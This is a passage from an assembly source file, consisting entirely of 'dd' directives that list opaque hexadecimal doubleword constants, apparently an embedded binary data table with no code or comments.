939C142Eh, 0F0275C13h, 0F8B9ACC6h dd 0A284003Ah, 9D41B5E0h, 9C51780Dh, 706DD5A6h, 0DD000A05h dd 448EBB76h, 61AA07BAh, 144561EAh, 3DA05129h, 0D78BD03Ch dd 9F366B00h, 0D090ACCCh, 0DBD03F4h, 0ECE4EE6h, 5C48E9A7h dd 3F03DA5Fh, 8AB720DEh, 10F29431h, 402A821h, 5095C02Dh dd 74F9018Ch, 8B575DEh, 58E04330h, 468044E4h, 637CFD40h dd 9C27798Ch, 7190111Fh, 138F201h, 0A82C390Ah, 5B73A680h dd 49046CAAh, 94B18C7h, 0BC804885h, 885F8BD9h, 0E49022C0h dd 43406C94h, 0B41FE3h, 0EFBA7E4Fh, 0D56FDD9Dh, 0A1A74000h dd 6046A0DFh, 4C7C33h, 0B4DE79E7h, 0A653C885h, 23AEF400h dd 46C0BF4Dh, 4340B44Ah, 808CE6DEh, 0C6381B77h, 8C74D303h dd 88413D25h, 498077Ch, 0F4A8A081h, 36609252h, 119DFD20h dd 9CF200B7h, 7CBB3B32h, 25126FABh, 0EC064E15h, 0B692B14h dd 2F5F03EDh, 0CD693C80h, 7B76B128h, 0A9812925h, 78000814h dd 0E5692580h, 27AC65DFh, 8BD52Eh, 5000B009h, 3B474D36h dd 48148D5Ch, 3192244h, 731C93A4h, 0AC01E42h, 8A04BA2h dd 0F4F6C0B9h, 60291F18h, 802516A0h, 443E9809h, 0B3A214EDh dd 94B42948h, 6109380Ch, 0D08500DFh, 0A7B62329h, 171D2783h dd 93031121h, 98070F9Dh, 1FA35808h, 19E0B199h, 0D07018D4h dd 25726615h, 0F28AA10Eh, 177C8021h, 12037DB0h, 4630AC14h dd 0F6201E9Ch, 6CBFCE0Ah, 2F60D840h, 37E3EDAh, 7B0239FAh dd 0E5F9F3ABh, 6FCC24FDh, 9C7D8C09h, 9D48191Bh, 0F8E01202h dd 19C18C29h, 374B4123h, 0FA636C40h, 0B74302FFh, 0A948BA4Dh dd 0D3016050h, 42073867h, 4666C76h, 9C2ED558h, 0B9566078h dd 2507943Ah, 87DAB5F2h, 6810D640h, 3BBE7B14h, 8A01D20Ah dd 15C13198h, 211433ACh, 0BF440FADh, 0C068AB09h, 5E7CDE1Bh dd 7184A94Ch, 96E0149Eh, 6C75E9h, 97BD7E34h, 4ACCE7Dh dd 0DB07048h, 68367B43h, 80DDB042h, 0CBB4DF60h, 49E12D68h dd 56460C90h, 3C2E721Ch, 2FFA1189h, 4166868h, 5222B32Ch dd 7722041Eh, 5641C076h, 0D3BB22A8h, 60CFB01Ch, 5BB9BD02h dd 8F28E042h, 1BAD137Ch, 94CC75E7h, 858027B8h, 0AAC1BE9Fh dd 84307DE6h, 0D2D38828h, 0E816FB1Eh, 9C2F4943h, 0E97E0041h dd 6604F3D4h, 1D025540h, 97ACE5FEh, 345891h, 0F601C84Ah dd 4F53EF8Ah, 671F1EF2h, 9C0344ECh, 0E7BB5C4Ch, 6AE333A7h dd 0FE5FD043h, 7C342417h, 3FB46310h, 8C800D80h, 0C7CCDA03h dd 7E7328F4h, 0F74C13F8h, 0D43C9081h, 76302D38h, 6D5B1128h dd 0BF960014h, 12581D73h, 4939CDB8h, 0C8ABA63Ch, 3471B340h dd 0BE1C1E2Eh, 0B72B4511h, 96B82125h, 8829082Dh, 9901205Eh dd 921A4249h, 0F4F89454h, 0B8C029CBh, 0D63000A8h, 2C2D5C8Fh dd 2823A928h, 11578D21h, 1F58002Fh, 7F39CC4Fh, 0E9C002B1h dd 0EBB83FB3h, 0DB1230E0h, 0A808F0BCh, 1409845Bh, 230089D3h dd 9EE500F4h, 3AEE1B24h, 0E3200BD6h, 3C843FDFh, 800CF2A4h dd 0F430207Dh, 2EBE1267h, 0D68C807Fh, 16127401h, 5C23FFACh dd 3C7DB721h, 498256EDh, 32C06836h, 29CCAD60h, 6FFD6500h dd 0F717748Ah, 0E4D33184h, 19D5D58h, 43D08B46h, 8764B476h dd 91E5972Dh, 6032E20Ch, 62895E8Ch, 3FDEFEF8h, 0CB8F1FC2h dd 80831B52h, 0D0766747h, 10EC2348h, 516AA466h, 0B81427E0h dd 0F7A0600h, 39E3EF98h, 0AA510476h, 72E07D7h, 0ED20951Ch dd 0CD2037h, 2C43FA01h, 0EAE6D064h, 35008275h, 55A3BBD4h dd 136B41Eh, 48739CE9h dd 0F0BAE604h, 92094B35h, 0E914BE10h, 95207A18h, 0DEF900E3h dd 486871AFh, 960095EEh, 6792060Bh, 0EF4DA4h, 0B4F85C58h dd 145E3D17h, 0DF22BA07h, 0C0692FA8h, 708C28h, 6DA0E91Ah dd 2BABBFFAh, 0D8D87568h, 0DBB75D40h, 0A4371814h, 0EA86609Eh dd 0BEA2DA00h, 0D9247C53h, 6589B87Ah, 0B24A30D4h, 0F7FF01C4h dd 46DB25E6h, 168CB0C6h, 0A5A8BCABh, 77ECCC90h, 0BB00C998h dd 8D9724F9h, 25CC5B6Bh, 0B41012D5h, 0F318D7B4h, 0C748A3A4h dd 48604504h, 0C400A584h, 254AE0E3h, 7BF82BCh, 30E5C7C6h dd 0D0D95087h, 56000E1Fh, 0C1EA5EDFh, 242C3F94h, 0A0B0D7B0h dd 65DE1FF6h, 2F0B0254h, 0D4C6A6D4h, 6840155Ah, 0DD166D72h dd 0C1730B9Bh, 0B0EE6833h, 1EE35607h, 0FEA0F926h, 3388F5Fh dd 0DE30BA31h, 1905250Fh, 0D0042D03h, 997660B2h, 0F5E0020h dd 24F346BAh, 75AEA013h, 9AA14020h, 0BCE400CDh, 93862B25h dd 0EBE255DDh, 0DE15BF12h, 0B45830A2h, 0E1019B03h, 0ADC10D8Fh dd 21577197h, 3C23A4h, 0B0FD7F3Dh, 0B5CFBh, 0C1901341h dd 1872145Bh, 0C550480h, 0F77531DDh, 92176636h, 1CC0D208h dd 0C6F90A9Ch, 0C15EAC19h, 657BD900h, 0BF1C2497h, 0E5A40499h dd 0A804B1B7h, 0A3668A70h, 0E048212Fh, 242CCC4Eh, 9602D380h dd 0D10277FFh, 3149DD7Dh, 107851A3h, 44809CB7h, 27339CF3h dd 0F11E8CAh, 72F69883h, 0C31E0185h, 690CF0F4h, 392F9D2Ch dd 8000B638h, 0D218A23Ch, 200099B3h, 0CDF02C4Dh, 0B394B87h dd 314FFBBEh, 0B0DCDC85h, 25C1CF8h, 8F98199Ch, 683CFD91h dd 0D312F980h, 0CA022856h, 863BECE1h, 0B440E054h, 0BF73072Dh dd 832F0C62h, 40605A3Eh, 9629A550h, 860D2D5h, 5167AECCh dd 4066303Ch, 0D1521659h, 9BD90A9Ch, 890F8839h, 30DE0125h dd 94483A80h, 99286BB5h, 18F17D0Ch, 8354F700h, 88057990h dd 93727Eh, 585BC734h, 33DD3E59h, 2C469D0Eh, 58268DB1h dd 2C583C3Ch, 97822338h, 99FED5ADh, 0E3C73C40h, 7AE05340h dd 6978B09Bh, 0FC843971h, 8083232Dh, 0FA7FC2h, 0D85A11DBh dd 0DAA79E28h, 60CA3B03h, 7017EA14h, 4FB788B1h, 0E7668E04h dd 31C79FE8h, 51609CE0h, 0BABB00E2h, 30E3D358h, 88962C95h dd 38465644h, 0CB024915h, 0C3833BAEh, 0F0804475h, 97F82Dh dd 3613E234h, 0B6DAB88Bh, 140EA403h, 1754B7D9h, 90E668D9h dd 0C0DB47F8h, 24DA1528h, 0D0B27D09h, 97F5057Bh, 0C60A44E2h dd 3842719h, 0BE45E960h, 0DF8BA9F3h, 2C7F4818h, 633341h dd 254FF082h, 7AB5A4EBh, 2DF3E603h, 855FA12Bh, 14A60CCh dd 1C6A9EE8h, 0F0B772C6h, 78C574DAh, 4DC320Bh, 0E7200064h dd 1B514535h, 0CD00F521h, 53DBDEBDh, 5F088980h, 0A72C1E56h dd 76004094h, 4CFCC824h, 0EC9C735Ah, 0BF8D002Dh, 1EC7ED16h dd 0C1004FCEh, 54D210EBh, 349CE63Ch, 87191C1Bh, 20677060h dd 572AAFDh, 0BB00A0B1h, 0C47FF91Ch, 3F521379h, 279C0044h dd 0F79CAB18h, 0B826EC9Ch, 1C607767h, 1368291h, 0C39BAF93h dd 0F8182EC2h, 1900735Fh, 0D42E91Eh, 9543650Eh, 0C1D3DC90h dd 571F7FE0h, 0E800075Ch, 884C6289h, 0F26400BCh, 0B5BA129Ch dd 0A702CA7Ch, 0DE317D41h, 60F95Bh, 9ABB40D7h, 613B898Dh dd 0A5AB27B5h, 4C80E318h, 0C404EDh, 6F5E9C6h, 9C981E41h dd 0E2000E71h, 0DD648374h, 1CC3ACE3h, 0DD5F49D4h, 0A20740EFh dd 6C4D5475h, 0AC2E2D1Ah, 0F6084071h, 2691255Bh, 0F9438C48h dd 763C7412h, 36441820h, 0D645005Bh, 0C2C4ABB4h, 0ED1EAFBEh dd 0FFC061A9h, 33E26E2Eh, 6720005Bh, 0EBBD3E5Dh, 0D169C6Bh dd 2505CEEFh, 2C88E016h, 40375A7Dh, 526F8A08h, 6D0FBB22h dd 0C71E4F7Ch, 2D424EDFh, 0DCC4B1h, 0EE8538C1h, 0E2E727E0h dd 0F41CF300h, 1826D0EDh, 0DE59C01Bh, 32D6225Eh, 0E5356604h dd 34B8D32Eh, 580A4BA0h, 72A33800h, 2945491h, 0BF2E3h dd 4A99600Fh, 0D1A7C168h, 0A5A807Ah, 5EA27C04h, 0D0E6FD49h dd 782650BCh, 7504F504h, 73802B08h, 0D13B6E16h, 0DE640057h dd 9C97D351h, 8A51D42Eh, 9F20EE4Ch, 9B17F9h, 0FAA31A35h dd 0B639F392h, 0D377AF05h, 6CC037DFh, 195404Eh, 41AE6EEEh dd 3C239831h, 242B8404h, 4968DCh, 486C6967h, 9C3ED6A4h dd 0F8426626h, 7D388304h, 0AAE0C880h, 0B27F1297h, 7CD8C24Ah dd 5BD0BC90h, 0A69A0809h, 0F1741174h, 5F3DE0h, 0E9739369h dd 7D6F002h, 297672E6h, 0D4617C16h, 0E6C050C2h, 2E5F3F28h dd 57CE2B00h, 0C2F61529h, 0E1C4AA00h, 5512DDDCh, 0C335003Bh dd 0FC2E1771h, 437454B5h, 0D700657Ch, 9384298Fh, 77209059h dd 0F8EF01B8h, 53379BB3h, 0FE29803Dh, 31117624h, 0DADB00D3h dd 79E09ACFh, 97017F46h, 5AFC353Ah, 31BE41BBh, 33637D1Dh dd 47A4B119h, 1484260h, 0CF7F4D67h, 5D2EC87Ch, 0B8DE990Bh dd 395E01C4h, 29844F60h, 0C0F4DB92h, 0EE7F268Dh, 7B862400h dd 9A3C824Ch, 2451F3Eh, 0A57EC13Ah, 8296BD2Ah, 0ABD69C39h dd 77ED40C2h, 562605BCh, 0C883C14h, 10903696h, 1F412000h dd 2A06E4ACh, 0B7DD009Dh, 56F4FE7Fh, 140054FDh, 353DAD16h dd 1F1EA8B2h, 18054223h, 7DF3D13Bh, 80B05B3Fh, 7781038Ch dd 38DA2AB6h, 0B7B07EC4h, 883B8930h, 8875E22Ah, 98FD9B01h dd 0BCA47B57h, 1EDD48C0h, 0FD6C54Bh, 51E645C3h, 0B2006017h dd 0BC056009h, 3AEB8B62h, 0E487352Dh, 0C71D5242h, 8A0B8041h dd 481B75B9h, 0FDD910E0h, 0E467C420h, 986FE45Eh, 9B1001BFh dd 34525A45h, 7BD451FBh, 42BA0877h, 402241h, 63A74E73h dd 0C077123Dh, 0A3547E00h, 0B45A4227h, 22F8A413h, 7C7F6DC6h dd 98B89C0h, 0AC06ADh, 3066BF9Ah, 2B22DA60h, 53D53100h dd 33EAA148h, 7A5B08B2h, 650035A3h, 0E2FF63BCh, 981A1F05h dd 9C1903DCh, 21012F7Ch, 40887E73h, 0BDD81876h, 0D0E31E25h dd 9A7F8A5Ah, 7CBB40h, 0B0283C50h, 9CB2A88Bh, 0E1EE3878h dd 14883D38h, 0AEE077Dh, 40A47A58h, 0FF60BA05h, 59C18040h dd 0A0C2D217h, 1CA2DCBh, 29B3C5E0h, 50465263h, 0EF03DF80h dd 1C358F03h, 0F87B33FEh, 49A4CC05h, 9B240067h, 381184h dd 0E6867E2Dh, 2FD7870h, 5ABC42DCh, 108F47B6h, 42CC3FCAh dd 0D5203CB4h, 44049Bh, 0F5DCEED7h, 0B35A5819h, 0F3104051h dd 0C978BCC3h, 59BD800h, 0DE61D3E7h, 0C4D70F3Eh, 0E286DD96h dd 5900615Fh, 51DA5A16h, 685999Ah, 0E27AFDF7h, 0F601215Bh dd 0F4BA9633h, 0D5E08F2Ch, 5C520E36h, 0E2C6DB05h, 0BA252962h dd 0AFF0B6h, 0DEEE9E13h, 57D428B0h, 3014394Ch, 0EC8C2964h dd 0E51D1FC0h, 0B8A9737Bh, 211461BBh, 0C1FC25E2h, 2083FDF8h dd 6041B200h, 5F422D0Ah, 0F2A6D04Bh, 0E76F7500h, 0B3EEDCh dd 7849861Ch, 0D3395C14h, 0FDCF8D15h, 773A1D88h, 2B46709h dd 8275E4ACh, 0A0C54640h, 7ADBDA50h, 7568007Dh, 0CADCA4C4h dd 3940DDB4h, 0C27C0064h, 1A1DDE4Ch, 46F6A17Dh, 0D85DC429h dd 4037B208h, 3CA8DC9Ah, 226CFE4Dh, 976D034Ah, 9C14B578h dd 2E3C80B0h, 18EB8D04h, 0C180F758h, 67ADA8FDh, 8121F8FBh dd 803841C8h, 5965DC9h, 11B946D9h, 0F405592h, 0DEA1BC9Ch dd 890B8205h, 8077F408h, 0F81FDBBBh, 2D0381D2h, 6BB5F465h dd 99F08F73h, 1FA8D5FEh, 0C015F8D8h, 0E941FFB8h, 61523110h dd 0D8D098h, 0FFEF2233h, 1B78205h, 0C0DC9FC4h, 0F538C8CEh dd 0C42342h, 0D5C3924Ch dd 7945Fh, 0E7E6C0B3h, 768D3F79h, 0D675BA00h, 1A068B1Dh dd 6880FD94h, 2DB5349Ch, 3A050496h, 0B4415FACh, 0E321A119h dd 18B848h, 0E8CBFA4Ah, 604D5F4Fh, 9C1E7B17h, 93A98700h dd 5C20F164h, 0CD0F8B04h, 768F1BFAh, 60EB0521h, 0D8C85043h dd 0A601BF26h, 0D38887E6h, 0CB40E034h, 31306325h, 49295EB7h dd 2848EEDDh, 7E1AF142h, 84F03D60h, 314147BCh, 407C899Eh dd 77AE0598h, 0B1DF4830h, 13D8DB65h, 2054049Ah, 0AD245320h dd 5DF66100h, 0E7B726FFh, 3AF40969h, 80A0A240h, 0BB16E438h dd 3E173909h, 794C82F9h, 50B4027h, 7A1F28B4h, 0F7641CB8h dd 32E1619h, 37413FC3h, 0FBC8FF98h, 106FB830h, 78368CC1h dd 808740DDh, 50CC8133h, 510799Fh, 3A15F97Bh, 0B0B981C9h dd 441186BAh, 2C60C5E4h, 0C54F36Dh, 0BE80E38Ch, 734A0400h dd 1FF91660h, 0ECE867h, 7914AE6Ah, 230663E3h, 0FF61210Ch dd 83A0C0h, 7C2CB30Fh, 0DB2AF438h, 0C028CB4Ch, 9B8E31D5h dd 542900F3h, 0D746DE98h, 9C2AD8C6h, 0B522CC03h, 7C36F547h dd 0AA6DB3Eh, 84F80194h, 82FABE2Bh, 2A05EF29h, 49FC90B8h dd 0CCACDAh, 5480328Ah, 2EEC9020h, 52E51C00h, 1B996C6Eh dd 47F000B9h, 0DC5C3DEBh, 0FA05D544h, 9338B494h, 2F3E80C2h dd 7A03F380h, 4015B08h, 5AE2F441h, 89A4CEB7h, 90696004h dd 0C724109h, 0C7E51B01h, 9740C35Ah, 27C9FF0h, 455349C0h dd 0B4E43580h, 0A843B32Eh, 67AB50h, 8F3ED652h, 49F70CE9h dd 8046300Ch, 497CE14Ch, 0EF00C82Ah, 0F08C580Fh, 0D80073CAh dd 95CCE99h, 0E2AC10AAh, 488409FDh, 38A076E1h, 0DF03A5DBh dd 37D74C01h, 16BA2B7Eh, 0E0F37998h, 6060E279h, 4881B369h dd 0EB3E1474h, 0FB81BC6Dh, 0D270ED95h, 0B3A4002Fh, 142D9310h dd 0E444BF30h, 50AE0380h, 941EB57Ah, 0DA801BADh, 805A8AD5h dd 4C997488h, 0DB8044B0h, 0D897CEB3h, 8735611Eh, 0E9865B8Eh dd 0BA6081C2h, 2C40FD79h, 1646AE4h, 0B5F99110h, 0D0DC99F0h dd 2A0CE5F4h, 288AD2BDh, 0D4B9E6h, 1E102B0Ch, 8C00DAB9h dd 0DF6E4EBBh, 7960384Fh, 0B2340159h, 0AE9EC268h, 604C3241h dd 0DB565368h, 28F14801h, 2037CC17h, 0C4E622Ch, 0FB18E602h dd 817ABC9Eh, 0D2899308h, 0B0820261h, 824147C0h, 380024C4h dd 0D12266EBh, 0AA24D948h, 4C4C41E4h, 0D8C4E312h, 0FAE74200h dd 0F63648EFh, 0EDA0102h, 506EA71Ch, 8891D25Fh, 78727Dh dd 0F55E7860h, 0B50AD7h, 94CA71A2h, 0E550BB2Dh, 0AE2CC098h dd 7B9078FAh, 0B9433960h, 8908EF4h, 0E4E0E645h, 0A58B94Dh dd 24C42FC0h, 0DFDE0EDCh, 12E6405h, 0F22BC484h, 5063DDh dd 695101E5h, 887CAh, 1B3226D1h, 5EF9D6DDh, 6E24402h, 593A36DEh dd 30701268h, 0F379730h, 507C962Ah, 69E97E00h, 0F81611AEh dd 0B308248Dh, 76E44054h, 0DF015F0Fh, 0E505391Ch, 11A0124Eh dd 8927F8B4h, 0EC3252h, 0BC9025ECh, 3AA07CAh, 18848BC0h dd 3C98B772h, 0E21863EEh, 5603F11h, 781CA051h, 8130F6Bh dd 29A0D982h, 3ED518C3h, 81283205h, 0C8CCF29Bh, 44E854h dd 0CEAD4241h, 0D288439Eh, 895A9A04h, 34C2FAD3h, 802D2038h dd 4774107Eh, 10414D26h, 0AC3DB088h, 56711BCh, 5260DC05h dd 0E5F89841h, 508E38BFh, 3920FB6h, 9F7AD880h, 613EE0E8h dd 4E2BBA00h, 9AD9960Dh, 3197007Ch, 46DA8AFCh, 0BA018DB1h dd 0D104C888h, 0F84C49CBh, 0C2CD043Fh, 0A47EBD82h, 4FB07DA4h dd 4137BE09h, 3F7020DFh, 2880C2CBh, 15147CBDh, 0E036787Bh dd 77CB82Eh, 4311B229h, 1900317Ch, 0BEF3D6A5h, 3B995289h dd 4701C162h, 0EBDDBD6Ah, 4910244Eh, 4C2E171Eh, 30392D98h dd 69416FC1h, 4139E3E4h, 0B9EE760Ah, 917FA870h, 802429A4h dd 8CE8D11Eh, 5CEEB58Bh, 4560E018h, 2F1949h, 0C6F45E21h dd 0F6C56BC7h, 0E5DDDC09h, 0BE541848h, 60B001h, 885A9BD2h dd 78917B87h, 0D18BD801h, 0DF1D1849h, 9B04EABh, 7012BC30h dd 0E83E5440h, 7D22CC98h, 296F1C3Ch, 0D218700Bh, 3702D862h dd 1B9305Ah, 600C6966h, 96111D10h, 0FDDD291Eh, 3F7248B1h dd 4336C10h, 18C662F8h, 228143E8h, 0E3334BBDh, 0D083495Eh dd 0B8614AC4h, 76A4021Ch, 86381D91h, 85CC0461h, 32DE4979h dd 40B76408h, 57FE90F8h, 80469D80h, 58924452h, 6600F5B0h dd 79C1A64h, 129E591Dh, 2354EA5h, 0BFB8E02Ch, 53C145Ah dd 0F0E40BD7h, 51F40058h, 0A07CD317h, 0B8C831A0h, 0C2CC0490h dd 8C7BBD83h, 0BEE6A344h, 0A1D52F40h, 91C480C8h, 0D8DA1A2Dh dd 4C8148C4h, 87ABD86h, 38A6647Dh, 0CA460457h, 288918B4h dd 71C0D577h, 4E4036Ah, 0C7F46DD9h, 418BD791h, 0F1934AF8h dd 0ECE84072h, 0DCB13C0Bh, 11E54909h, 0DC225250h, 1AEEA000h dd 1558395Ch, 0B4084111h, 4B0AF058h, 8008B5CAh, 2F55BF7Dh dd 71E4D5E3h, 0C9FE19C0h, 5188E5h, 0A6BF0558h, 893D1195h dd 0CB10A009h, 7C1F81ECh, 8183B55Ah, 74E2CD3Bh, 694A4100h dd 8A3039C4h, 52B10048h, 8332227Fh, 6E0049DBh, 7AD5DCCEh dd 7DA72693h, 70D90F02h, 0BA83A83Bh, 0C0C267E7h, 608BC4C1h dd 0D709A6CCh, 48E448CDh, 0B1B846A0h, 124411C0h, 0B088DA4Ch dd 0A0B67CCBh, 58D35174h, 0B70E49Bh, 612271CCh, 5C43A490h dd 85EC7F1Fh, 0A1009E5Ch, 0D5284E40h, 0BDFF0013h, 0BCAE04EFh dd 1424555Eh, 6460683Ch, 0F03088Bh, 5F8D5DECh, 0C4524902h dd 25262C40h, 0B8DB6300h, 0D6D8BCBAh, 4EE4036Dh, 0E0565F9Ah dd 36797CC8h, 41FB7C9Ah, 97D48788h, 5C0156D2h, 0BA4ACB61h dd 176FDED0h, 60CA90D8h, 36416708h, 8EFB2112h, 1083810h dd 73E9099h, 0A980C88Fh, 9660B265h, 39124A64h, 0AC082C53h dd 0DB498A47h, 0BB2E3E2Ch, 0ADA14FB4h, 735FB82Ah, 0DB570084h dd 0D910918Ah, 2AAF0534h, 0D28B84BCh, 0CE205A80h, 467E1Dh dd 0C5B63A4Ah, 75482E77h, 0D4883126h, 0D51DA601h, 6470069Fh dd 4A450C2Bh, 62C82318h, 7E7B08A0h, 2A291E62h, 5C6866C0h dd 0C30414E6h, 0C86E1761h, 0A61223CCh, 89360E1h, 8EE7F0D0h dd 14DA0047h, 0FF3F5DB7h, 7C4CA6DBh, 0AF908130h, 15C8C0B3h dd 54E12694h, 423B9D6Ch, 5EA1ED4Ch, 4F7460F7h, 2ABE1561h dd 0FD0A44C4h, 0ACB01595h, 0E3360454h, 0D7848CD2h, 73A93C00h dd 1ED484D1h, 91ED0401h, 80BE7815h, 608EEB42h, 4700C4B9h dd 660C89E0h, 4B981F99h, 0F1524064h, 0EC2F405Fh, 0DDCFD504h dd 64C8B4CAh, 4AC1EA64h, 0FF580857h, 2158E38Ch, 0DCC90045h dd 0F4E4BF18h, 0D406C013h, 0B2324D99h, 0AE5A2E58h, 0C6314008h dd 42061511h, 4555899Ch, 4FC90F19h, 24E0FF02h, 6DE556EEh dd 91A9AE03h, 97DCC0B9h, 0D80B6C72h, 4C4C9670h, 0C5009186h dd 0C8329FBCh, 0BBF47Ch, 4699219h, 2A5FEC3Ah, 0F44A5CA4h dd 0DC8F1400h, 0A0BEB758h, 9478E474h, 27A6BDDCh, 0FC6014A4h dd 0BD79EE80h, 1D72DBEDh, 66F16D02h, 0C19C2394h, 98325F9Ch dd 0CF53FB00h, 95434972h, 44D8E04h, 0C08136DCh, 1060BAE2h dd 48C02930h, 5F11A4h, 49BBCB54h, 0C83139Eh, 0C26B70B1h dd 0C009E938h, 0E477E4E1h, 56014E70h, 8C449044h, 0E5EAC0EDh dd 0BA147C50h, 0C01ED90h, 2F546042h, 186C2D19h, 32227448h dd 38B53024h, 57147C60h, 3E8A00F8h, 0A2647E7Dh, 67444227h dd 0B6B87D5Ah, 406444ACh, 0EDC0EC90h, 0E9BA0037h, 9F38EA5Fh dd 2AF02E36h dd 9539EEB8h, 2B8C05F4h, 0D0C0496Ch, 105A7B30h, 58FBC3BCh dd 5640C05Ch, 0F8F9705Eh, 0F10203ABh, 3662BCC3h, 0FB08BEE0h dd 70EC9E00h, 0FF8225D8h, 0BCB400F0h, 152DC378h, 10CEF107h dd 2CD2C060h, 989EFAA0h, 64B980h, 0C97E6D81h, 871DE6BDh dd 802671CDh, 3A0B3C91h, 0A8C69C32h, 86076E00h, 0CD61F1F6h dd 9B480CA3h, 0FD31387Ch, 9C052CE4h, 0C6E26AC1h, 2E7CE0D1h dd 180A2180h, 325D1C98h, 0D8722702h, 41B50FC2h, 0F21446F8h dd 0B142001Ch, 48B2187Dh, 0FDB013C4h, 1C578Fh, 203AD238h dd 30292EF3h, 8980E0BAh, 7AB9CBE7h, 8D5403F0h, 7B3D57A4h dd 0A0AEBA88h, 2AB4FB00h, 0C0743C99h, 522F2D12h, 6F6DD020h dd 2CEAA1A4h, 5AC8F00h, 0DED1CA91h, 0BC0D2647h, 0DF1D001Bh dd 0DB8DC2DAh, 641B7800h, 40E51CF3h, 0BAB60FF8h, 1D03367Dh dd 2F80ED13h, 0F500CA88h, 0CD7A44FBh, 76E4F3h, 0DD3F8D8Fh dd 0C9CEBCB8h, 90DE43EEh, 3008D13Fh, 29C19264h, 18E0C82Ch dd 0A6307864h, 5A9C1798h, 731020B0h, 5901D1C0h, 0A8DE9B28h dd 6C6C295Ch, 0D0004922h, 2DE14CF1h, 0F8B4368Dh, 1BCD0055h dd 74BC31C2h, 0C0B05F1Eh, 0B75AFB0Eh, 50660904h, 42724518h dd 0F204808h, 0EB3968Bh, 0ADA1C962h, 7CC0116Eh, 3F0C078Ch dd 0A632D716h, 61237004h, 6C4CF800h, 87317E46h, 0BE2A5144h dd 0C603043Dh, 4B60DD91h, 0E6493109h, 45F46925h, 9EC02210h dd 87218107h, 0FB4171h, 1A14BCE8h, 14E4BB03h, 88C294FEh dd 0A8EC9B85h, 49E3001h, 0DCFF61B6h, 0E6952430h, 4C3112D9h dd 0DA40D1E7h, 48695Dh, 1EC0AAA1h, 3ABDC7A4h, 1C937C11h dd 430082D3h, 103CF4C1h, 0B8F2B842h, 0C0BB32A0h, 0BC54E341h dd 0E7444380h, 90DC6171h, 0D120904h, 10078262h, 1A502242h dd 41677C72h, 14FAB911h, 0BAB25A0Eh, 57066C9h, 6DB05085h dd 3ABC1Bh, 2FAB157Ah, 0EAAD5177h, 5AF400E0h, 0E84FB5CAh dd 92002CFEh, 671D786Ch, 5B8FDh, 64F3CE65h, 7B3E53A4h dd 37F79701h, 4B158B3Ch, 45489040h, 0E464A080h, 0D9EC015Ch dd 0E2D83CE0h, 5A9C51D5h, 58282AAFh, 1DC800FDh, 0E8569220h dd 0D2008D07h, 2EF9BD72h, 0C063BBh, 0F1B5788Bh, 956911CBh dd 434494B0h, 0E7D40704h, 109E2061h, 63EB854Fh, 0F42FE313h dd 4208052h, 0B16FDF9Ch, 0ABBE8060h, 0A25995FFh, 2D10DC4Ch dd 44D8008Ah, 0B32FC14Ah, 0B7CA4F0h, 0D491B92Ah, 3D843DE3h dd 0F1E984ECh, 53C0C2B2h, 5CAD5E25h, 0F4007FA4h, 0D8853968h dd 601B1B3h, 0E204511Fh, 80DC2376h, 7ABA0EABh, 100B836h dd 0A432D91Ch, 7B3C5217h, 500010E8h, 0E8B8F83Fh, 0E3022659h dd 0D5443D13h, 48D022h, 3FEB7002h, 1CB8DEEFh, 12F02C48h dd 78C8C246h, 1E8C0EAFh, 3153143Ch, 30AE0BA8h, 220104E5h dd 80E681F8h, 4081445Ch, 0E7E14938h, 0B9C7937h, 90BD5B13h dd 63630D4h, 40BC2AB6h, 0F279508Ch, 806C845Ch, 462F1A20h dd 54B000C9h, 0E5EB2EBBh, 0C42E0372h, 48C0248Dh, 0B86E79A4h dd 0A24612A8h, 7D88D0E2h, 9F0772ECh, 818A8648h, 625C32A0h dd 0E3500E18h, 27EED56Ah, 6FED00DFh, 0E86938DDh, 0BCB7F007h dd 0D6C09C5Fh, 0A77B28h, 0C634B337h, 649585B4h, 43C24B03h dd 42522Dh, 0EF11CCB1h, 0D777B04Dh, 0FF5E1C16h, 0A16EC0C9h dd 0E383E1B6h, 0E635D7B0h, 0FF340600h, 0ED6131E0h, 0D5A41F6Bh dd 0DEEC4468h, 1834A925h, 59E9FE60h, 12521243h, 0A6A48C51h dd 0D901A274h, 302DBB15h, 0B21452C6h, 74AC4A0Ch, 0BBD2F100h dd 8CEF2DC4h, 42579D00h, 4A9F652Ah, 707A00E1h, 61D5735Dh dd 0D82762DEh, 0A98890A5h, 0C4FF0191h, 0A24B4CE5h, 703030F2h dd 82952203h, 0CDCD443Ch, 0F2D50820h, 0C2830035h, 0ED1C9EFEh dd 800E38D7h, 0A1DF5EFCh, 62926874h, 3E6BC0F4h, 8D07ACC3h dd 0F0776711h, 7584417Fh, 937B1200h, 2A4E0D90h, 900C74A6h dd 1AD9C07Eh, 29B4A24Dh, 0EA736B00h, 0AE62F678h, 0EC510014h dd 64D0D659h, 5452BEF2h, 0BF7A00D4h, 79FB34C6h, 68850ED5h dd 0C89637C4h, 0DF2D12BCh, 527CB125h, 85031832h, 339B2B45h dd 0C1B5D288h, 751CCF01h, 24D0C24Ah, 76002039h, 0F434F347h dd 4B38CA48h, 58E10CD7h, 0C43A2041h, 0B2B93059h, 90DE21E8h dd 318E80C1h, 94BDB8E5h, 7BE680ACh, 1771C139h, 0E49BD200h dd 21CED56Bh, 0C87202E2h, 9AE8E076h, 9202CC50h, 1B757DCh dd 0C771162h, 602C812Fh, 4244BA64h, 3C915Dh, 7D5CFCEh dd 0DA4A2DF9h, 4534BC77h, 0B7880D53h, 5FBE3C1h, 0C384988Dh dd 46D8CC9Eh, 243899C4h, 61E90BE1h, 14973064h, 167B4318h dd 80DAB95Ah, 0B8AC5077h, 8403049Bh, 0E2044CFDh, 0D8AF0018h dd 881FEB14h, 0EA830AAEh, 0BAD0CC8Ah, 99DC3DBCh, 0E2A7EC00h dd 4FC269DDh, 74A4EC9Bh, 0C438112Dh, 0A243170Eh, 16E98C8h dd 7E560C9Bh, 526B75D2h, 0C040E374h, 0C82679E4h, 0EB602060h dd 1DE8B2A9h, 42EC98E0h, 84B64873h, 0FCF36E60h, 700940B2h dd 82248726h, 4022D650h, 3C4F0DA8h, 48000E9Ah, 7AD861D2h dd 99D73679h, 0ACCE7C0Ah, 944E1240h, 10B32C5Ah, 404F44B4h dd 2C11F840h, 62600E0h, 0F48D1B2Fh, 49009ECCh, 8F2E6139h dd 18A4E999h, 410EBD5Ah, 0D85248D5h, 0C0984884h, 0EE222FE6h dd 175C01C4h, 4C3F1D3h, 14722FEBh, 0ED7C40BAh, 64829536h dd 7C60C8CFh, 7092F3D2h, 59DC8C0Eh, 966083Bh, 2C04A57Dh dd 0FC3100FFh, 48D11751h, 